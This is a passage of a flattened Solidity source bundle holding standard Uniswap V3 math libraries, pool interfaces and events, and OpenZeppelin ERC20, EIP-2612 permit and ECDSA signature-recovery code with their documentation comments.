@notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Safe casting methods /// @notice Contains methods for safely casting between types library SafeCast { /// @notice Cast a uint256 to a uint160, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint160 function toUint160(uint256 y) internal pure returns (uint160 z) { require((z = uint160(y)) == y); } /// @notice Cast a int256 to a int128, revert on overflow or underflow /// @param y The int256 to be downcasted /// @return z The downcasted integer, now type int128 function toInt128(int256 y) internal pure returns (int128 z) { require((z = int128(y)) == y); } /// @notice Cast a uint256 to a int256, revert on overflow /// @param y The uint256 to be casted /// @return z The casted integer, now type int256 function toInt256(uint256 y) internal pure returns (int256 z) { require(y < 2**255); z = int256(y); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math functions that do not check inputs or outputs /// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks library UnsafeMath { /// @notice Returns ceil(x / y) /// @dev division by 0 has unspecified behavior, and must be checked externally /// @param x The dividend /// @param y The divisor /// @return z The quotient, ceil(x / y) function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := add(div(x, y), gt(mod(x, y), 0)) } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // 